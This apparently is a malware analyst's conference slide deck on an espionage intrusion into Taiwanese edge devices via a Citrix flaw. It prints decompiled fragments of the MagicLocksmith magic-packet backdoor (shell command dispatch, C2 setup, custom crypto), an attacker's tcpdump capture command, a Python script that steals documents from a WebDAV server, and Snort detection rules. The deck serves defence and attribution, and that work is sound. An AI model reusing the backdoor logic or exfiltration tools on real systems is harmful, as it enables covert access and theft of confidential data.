Invisible Thieves in the Front Yard

From an advanced evasive edge-device attack to potential mitigation methods

Ting-Wei Hsieh | VB2025

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Acknowledgement

This report is made possible by the collaboration of CHT Security IR team members.

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About Me

> Malware analyst @ CHT Security

> X64/X86 Windows/Linux; .NET; Java

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Incident Overview

> A major cloud service provider in Taiwan was compromised

+ CVE-2019-19781 (Citrix ADC VPN N-day)

> Multiple malware samples discovered on compromised devices

+ **MagicLocksmith** and other TinyShell-based magic packet backdoors

+ ELF_PLEAD

> Credential and data exfiltration via tcpdump and improvised custom tools

> **What can we learn from this incident?**

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Incident Overview

> The threat actor primarily focused on edge devices (SSL VPNs, load balancers, routers, …)

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Why Target Edge Devices?

> Often directly accessible from the Internet

> No AV/MDR/EDRs

> High throughputs

→ Difficult to detect anomalous connections

…

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Threat Actors ♡ Edge Devices

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Threat Actors ♡ Edge Devices



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Threat Actors ♡ Edge Devices



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Threat Actors ♡ Edge Devices

Threat Intelligence

Suspected Chinese Thr
FortiOS Vulnerability

Threat Intelligence

Fortinet Zero-Day and Custom Malware Used
se Actor in Espionage

Threat Intelligence

Ivanti Connect Secure
Zero-Day E

Threat Intelligence

pionage
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Google Clou

Insikt Group®

Executive Summary

Between December 2024 and January 2025, Recorded Future's Insikt Group identified a campaign exploiting unpatched internet-facing Cisco network devices primarily associated with global telecommunications providers. Victim organizations included a United States-based affiliate of a United

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Tiny SHell (TSH)

> Open source

> Simple code structure

+ Easy to customize

+ Runs on customized/stripped Linux or BSD builds

> Basic encryption

```
switch( message[0] )
{
    case GET_FILE:
        ret = tshd_get_file( client );
        break;
    case PUT_FILE:
        ret = tshd_put_file( client );
        break;
    case RUNSHELL:
        ret = tshd_runshell( client );
        break;
    default:
        ret = 12;
        break;
}
```

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Tiny SHell (TSH)

> TCP server mode

+ Binds to a port

> TCP client mode

+ Constantly tries to connect to the C2 server

+ Hardcoded C2 server address

```
switch (opt) {
    case 'p': // Server mode -> listens to the specified port
        server_port = atoi(optarg);
        if (!server_port)
            usage(*argv);
        break;
    case 's':
        secret = optarg;
        break;
    case 'c': // Client mode -> connects to the specified C2
        if (optarg == NULL) {
            cb_host = CONNECT_BACK_HOST;
        } else {
            cb_host = optarg;
        }
        break;
    default: /* '?' */
        usage(*argv);
        break;
}
```

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Magic Packet

> Turn on/off the backdoor logic when a specific pattern is detected in any incoming packets

> Remain dormant and hidden from network inspection tools while the backdoor logic is off

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Magic Packet

> Turn on/off the backdoor logic when a specific pattern is detected in any incoming packets

> Remain dormant and hidden from network inspection tools while the backdoor logic is off

> An old technique that is still very effective

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Magic Packet

> Most implementations use static patterns

Snort/Suricata Rules

```
alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_1";
dsize:>15; content:"|44 31 3A 14 45 95 6A 73|"; offset: 0; depth:8;
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000000; rev:1; )

alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_deadbeef_2";
dsize:>15; content:"|64 11 1A 34 65 B5 4A 53|"; offset: 0; depth:8;
threshold:type limit,track by_src,count 1,seconds 3600; sid:1000001; rev:1; )

alert icmp any any -> any any ( msg:"M_Backdoor_TINYSHELL_uSarguuS62bKRA0J";
content:"|f3 d5 e7 f4 e1 f3 f3 d5 b0 b4 e4 cd d4 c7 b6 cc|"; threshold:type
limit,track by_src,count 1,seconds 3600; sid:1000002; rev:1; )

alert udp any any -> any any ( msg:"M_Backdoor_TINYSHELL_0b3330c0b41d1ae2";
dsize:>27; content:"|c5 c4 ec 4d|"; offset: 0; depth:4; content:"|a6 04 ed 83
92 46 ce 40 9a 34 8c 7b 5a d6 e5 0d|"; offset:12; depth:16; threshold:type
limit,track by_src,count 1,seconds 3600; sid:1000003; rev:1; )
```

Source: https://cloud.google.com

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Magic Packet in MagicLocksmith

> Evasion technique #1: dynamic magic packet pattern

+ XOR(packet[0:16], packet[16:32]) == MAGIC_PATTERN

```
pcap_magic_backdoor_trigger[0] = 0xA55AC3D4;
pcap_magic_backdoor_trigger[1] = 0xCA48C1EA;
pcap_magic_backdoor_trigger[2] = 0x4889C248;
pcap_magic_backdoor_trigger[3] = 0x89D641C1;
for ( i = 0; i <= 3; ++i )
{
  x1 = ntohl(buf->xor1[i]);
  x2 = ntohl(buf->xor2[i]);
  if ( (x2 ^ x1) != pcap_magic_backdoor_trigger[i] )
    return 1;
}
crc32 = crc32_804B7B0((uint8_t *)buf, 120);
check = ntohl(buf->crc32sum);
return check != crc32;
```

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Magic Packet in MagicLocksmith

> Evasion technique #1: dynamic magic packet pattern

+ Encrypted C2 configuration in magic packets



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        break;
    case RUNSHELL:
        ret = tshd_runshell( client );
        break;
    default:
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        break;
}
```

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C2 Communication in TSH



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C2 Communication in TSH



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C2 Communication in TSH

> Each command has a dedicated session

> Each session has its own keys

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C2 Communication in TSH

> Each command has a dedicated session

> Each session has its own keys

> Analysts may decrypt the backdoor traffic with a packet sniffer

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C2 Communication in MagicLocksmith

> Anti-analysis technique #1: custom asymmetric key exchange

+ Hardcoded secp521r1 server public key

+ Shared secret cannot be derived from packet data

```
pubkey_x = "0cacf87644ee300999f709904a69a8206b3ba774599bc95f193e0443c66776b78905f90adc4077bb06b520702d9853ca2c7e568b3eb"
           "c484c577c880e60dc53e65e";
pubkey_y = "6eff2e2431361f95b15f63e2c3bd1b2a512e63f38d0aebb71f6a13b049c514fa1738707d7c67bb7b33d81fb5170a7dc51ba9d7e646c"
           "05f927eea82084fa09ce8dc";
```

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

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C2 Communication in MagicLocksmith

> Evasion & anti-analysis technique #2: custom Rijndael parameters

+ Custom S-box modulus polynomial & affine matrix

$$\text{S-box: } \mathrm{x}_{out} = A \cdot \mathrm{x}_{in}^{-1} + \mathrm{c} \bmod m$$

Constants in AES

$$\begin{cases} m = x^8 + x^4 + x^3 + x + 1 \\ A = x^7 + x^3 + x^2 + x + 1 \\ c = x^6 + x^5 + x + 1 \end{cases}$$

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Constants in MagicLocksmith

$$\begin{cases} m' = x^8 + x^4 + x^3 + x^2 + 1 \\ A' = x^6 + x^5 + x^4 + x^3 + x \\ c' = x^7 + x^4 + x + 1 \end{cases}$$

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```
_BOOL4 modded_aes_setup_table_8059BCC()
{
  return malw_custom_aes_table_gen_8059C77(0x1D, 0x1D, 0xF493, 0x8070B05u, 0)
      && malw_custom_aes_table_gen_8059C77(0x1D, 0x1D, 0xF493, 0x70D040Fu, 1) != 0;
}
```

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C2 Communication in MagicLocksmith

> Evasion & anti-analysis technique #2: custom Rijndael parameters

+ Custom S-box modulus polynomial & affine matrix

+ Custom MixColumns coefficients

Constants in AES $\begin{cases} a(x) = 3x^3 + x^2 + x + 2 \\ a^{-1}(x) = 11x^3 + 13x^2 + 9x + 14 \end{cases} (\mathrm{mod}\ x^4 + 1)$

Constants in MagicLocksmith $\begin{cases} a'(x) = 8x^3 + 7x^2 + 11x + 5 \\ a'^{-1}(x) = 7x^3 + 13x^2 + 4x + 15 \end{cases} (\mathrm{mod}\ x^4 + 1)$

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C2 Communication in MagicLocksmith

> Evasion & anti-analysis technique #2: custom Rijndael parameters

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}
```

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Data Exfiltration

> `tcpdump` goes a long way

PCAP files found on the C2 open directory server



[redacted]51.pcap	3/7/2024 10:44 AM	PCAP File	36 KB
[redacted]52.pcap	3/7/2024 10:56 AM	PCAP File	1,117 KB
[redacted]53.pcap	3/7/2024 11:11 AM	PCAP File	8,072 KB
[redacted]54.pcap	3/7/2024 11:07 AM	PCAP File	2,384 KB
[redacted]-20240130.pcap	3/7/2024 9:38 AM	PCAP File	81 KB
[redacted]-202401302008.pcap	3/7/2024 9:34 AM	PCAP File	5,901 KB

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Data Exfiltration

> **tcpdump** goes a long way

1	0.000000	00:00:00_00:00:00	00:00:00_00:00:00	FILEINFO	187	tcpdump -nni any -s0 -w /var/tmp/[redacted]-20240130.pcap host [redacted]
2	4.146084	[redacted]	[redacted]	TLSv1.2	835	IN s1/tmm3 : Application Data
3	4.146102			TCP	96	OUT s1/tmm3 : 443 → 6640 [ACK] Seq=1 Ack=740 Win=65535 Len=0
4	4.162721			TLSv1.2	694	OUT s1/tmm3 : Application Data
5	4.207564			TLSv1.2	835	IN s1/tmm3 : Application Data
6	4.207573			TCP	96	OUT s1/tmm3 : 443 → 6640 [ACK] Seq=599 Ack=1479 Win=65535 Len=0
7	4.221246			TLSv1.2	694	OUT s1/tmm3 : Application Data
8	4.255584			TLSv1.2	835	IN s1/tmm3 : Application Data
9	4.255607			TCP	96	OUT s1/tmm3 : 443 → 6640 [ACK] Seq=1197 Ack=2218 Win=65535 Len=0
10	4.269167			TLSv1.2	694	OUT s1/tmm3 : Application Data
11	4.303264			TLSv1.2	835	IN s1/tmm3 : Application Data
12	4.303279			TCP	96	OUT s1/tmm3 : 443 → 6640 [ACK] Seq=1795 Ack=2957 Win=65535 Len=0
13	4.317044			TLSv1.2	694	OUT s1/tmm3 : Application Data
14	4.358265			TLSv1.2	835	IN s1/tmm3 : Application Data
15	4.358283			TCP	96	OUT s1/tmm3 : 443 → 6640 [ACK] Seq=2393 Ack=3696 Win=65535 Len=0
16	4.371916			TLSv1.2	694	OUT s1/tmm3 : Application Data
17	4.407537			TLSv1.2	835	IN s1/tmm3 : Application Data
18	4.407555			TCP	96	OUT s1/tmm3 : 443 → 6640 [ACK] Seq=2991 Ack=4435 Win=65535 Len=0
19	4.421224			TLSv1.2	694	OUT s1/tmm3 : Application Data
20	4.457561			TLSv1.2	835	IN s1/tmm3 : Application Data
21	4.457579			TCP	96	OUT s1/tmm3 : 443 → 6640 [ACK] Seq=3589 Ack=5174 Win=65535 Len=0
22	4.471213			TLSv1.2	694	OUT s1/tmm3 : Application Data
23	4.515726			TLSv1.2	835	IN s1/tmm3 : Application Data
24	4.515753			TCP	96	OUT s1/tmm3 : 443 → 6640 [ACK] Seq=4187 Ack=5913 Win=65535 Len=0

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Data Exfiltration

> The threat actor exfiltrated PCAP dumps and distilled the stolen data likely in their own environment

```
// MAC_SRC == "[redacted]" && TYPE == IPv4
if ( !memcmp(&raw_pcap_file[i], client_source_mac, 8u) )
```

```
// MAC_DST == "[redacted]" && TYPE == IPv4
else if ( !memcmp(&raw_pcap_file[i], citrix_mac, 6u)
       && !strcmp(&raw_pcap_file[i + 12], IPV4_header) )
```

```
if ( dst_port == 8080 )
{
  memset(s, 0, 0x10u);
  sprintf(s, "%d_%d", src_port, 8080);
  fp = fopen(s, "ab+");
  if ( !fp )
  {
    printf("can not open result file!\n");
    exit(0);
  }
  j = fwrite(&raw_pcap_file[i + 8], 1u, pkt_data_len, fp);
  fclose(fp);
  i += j;
}
```

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Data Exfiltration

> Custom Golang-based tools were used to extract credentials and interact with the victim's WebDAV server

Credentials extracted from PCAP dumps



Passed to

Custom WebDAV clients



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Data Exfiltration

> Custom Python script that traverses victim's WebDAV server and steals confidential documents

```
if file_len < 1024*1024*50:
    year = re.findall('[12]\\d\\d\\d',get_last_modified)
    if int(year[0])>2020:
        if newfilename.count('[redacted]') or
           newfilename.count('[redacted]') or
           newfilename.count('[redacted]') or
           ((newfilename.count('[redacted]') or
             newfilename.count('[redacted]') or
             newfilename.count('[redacted]') or
             newfilename.count('[redacted]')) and
            (newfilename.endswith('.pptx') or
             newfilename.endswith('.vsdx') or
             newfilename.endswith('.vsd') or
             newfilename.endswith('.xlsx') or
             newfilename.endswith('.docx') or
             newfilename.count('.cfg') or
             newfilename.count('.conf'))):
            savepath = "./data/d"
            if not os.path.exists(savepath):
                os.makedirs(savepath)
            try:
                self.getFile(href,savepath)
            except:
                print "get file error:",newfilename
                pass
```

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Why Target Edge Devices?

> Often directly accessible from the Internet

> No AV/MDR/EDRs

> High throughputs

→ Difficult to detect anomalous connections

> Multiple services (SSL-VPN, WAF, …) bundled in one device

→ Breach one and capture them all!

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Attribution

```
conf_magic_type = ntohl(magic_c2_params->data.mode_id);
if ( conf_magic_type == 0x2ABBCCDD )
{
  conf_magic_type = 0;                  // 0x2ABBCCDD => server mode
}
else
{
  if ( conf_magic_type != 0xAABBCCDD )  // 0xAABBCCDD => client mode
    goto BAD_MAGIC_TYPE_RETRY;          // Bad
  conf_magic_type = 1;
}
```

Magic packet constants used to configure the operation mode in MagicLocksmith

Magic packet constants used to configure the operation mode in a BIFROST sample

```
magic_type_id = magic_pkt_payload->magic_type_id;
if ( (magic_type_id == 0x23456789
   || magic_type_id == 0x8978ABDC
   || magic_type_id == 0xAABBCCDD
   || magic_type_id == 0x2ABBCCDD)
  && magic_pkt_payload->c2_port
  && (magic_type_id != 0x8978ABDC || strlen(magic_pkt_payload->c2_host)) )
{
  EnterCriticalSection(&mutex_103F2FA0);
  magic_type_103F2B54 = magic_pkt_payload->magic_type_id;
  c2_host = magic_pkt_payload->c2_host;
  do
  {
    c = *c2_host++;
    c2_host[c2_host_103F2B58 - magic_pkt_payload->c2_host - 1] = c;
  }
  while ( c );
  c2_port = magic_pkt_payload->c2_port;
  init_flag_103F2F88 = 1;
  c2_port_103F2B88 = c2_port;
  LeaveCriticalSection(&mutex_103F2FA0);
}
```

(From an unrelated incident)

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Attribution

Modified RC4 XOR block in MagicLocksmith

```
j = swap[(i + 1)];
k = (k + j);
swap[(i + 1)] = swap[k];
swap[k] = j;
j = swap[(swap[(i + 1)] + j)];
if ( mode < 0 )
{
  j ^= dat[i];
  dec_ch = j + mode;
}
else
{
  dat[i] += mode;
  dec_ch = j ^ dat[i];
}
dat[i] = dec_ch;
```

Modified RC4 XOR block in BIFROST

```
// off := 1 - ptr;
// Likely a compiler optimization artifact
j = sbox[(ptr + off)];
k = (j + k);
sbox[(ptr + off)] = sbox[k];
sbox[k] = j;
z = sbox[(j + sbox[(ptr + off)])];
if ( (mode & 0x80) != 0 )
  *ptr = mode + (*ptr ^ z);
else
  *ptr = z ^ (*ptr + mode);
++ptr;
--n;
```

(From an unrelated incident)

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Attribution

Modified RC4 XOR block in MagicLocksmith

```
j = swap[(i + 1)];
k = (k + j);
swap[(i + 1)] = swap[k];
swap[k] = j;
j = swap[(swap[(i + 1)] + j)];
if ( mode < 0 )
{
  j ^= dat[i];
  dec_ch = j + mode;
}
else
{
  dat[i] += mode;
  dec_ch = j ^ dat[i];
}
dat[i] = dec_ch;
```

Modified RC4 XOR block in BIFROST

```
// off := 1 - ptr;
// Likely a compiler optimization artifact
j = sbox[(ptr + off)];
k = (j + k);
sbox[(ptr + off)] = sbox[k];
sbox[k] = j;
z = sbox[(j + sbox[(ptr + off)])];
if ( (mode & 0x80) != 0 )
  *ptr = mode + (*ptr ^ z);
else
  *ptr = z ^ (*ptr + mode);
++ptr;
--n;
```

(From an unrelated incident)

BlackTech?

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Lessons Learned – For Users

> Apply security patches ASAP!

+ CVE-2019-19781 was a N-day at the time of the breach

+ Set up a protocol to handle update procedures

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Lessons Learned – For Users

> Apply security patches ASAP!

> Avoid weak/reused passwords

+ Bruteforcing tools were also found on the C2 open directory server

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Lessons Learned – For Users

> Apply security patches ASAP!

> Avoid weak/reused passwords

> LAN honeypots may help

+ The incident was uncovered because of anomalous intranet traffic

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Lessons Learned – For Users

> Apply security patches ASAP!

> Avoid weak/reused passwords

> LAN honeypots may help

> Confidential data transfer should be *securely* encrypted and signed, even within LAN

+ **`tcpdump`** wouldn't have worked if the TLS certificate was deployed on the WebDAV server

+ Use a dedicated WAF device for confidential services instead of a single appliance that runs everything (SSL VPN + WAF + load balancing + …)

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Lessons Learned – For Manufacturers

> Privilege separation between different services

+ A vulnerability in SSL VPN or web interfaces shouldn't have compromised the whole device

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Lessons Learned – For Manufacturers

> Privilege separation between different services

> Provide on-demand integrity validation tools

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Lessons Learned – For Manufacturers

> Privilege separation between different services

> Provide on-demand integrity validation tools

> Provide low-level access or forensic tools to licensed users

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中華資安國際
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Lessons Learned – For Manufacturers

> Privilege separation between different services

> Provide on-demand integrity validation tools

> Provide low-level access or forensic tools to licensed users

> Log and report privileged operations and command executions

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Thank you!

Q & A

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All opinions are not of my employer(s).

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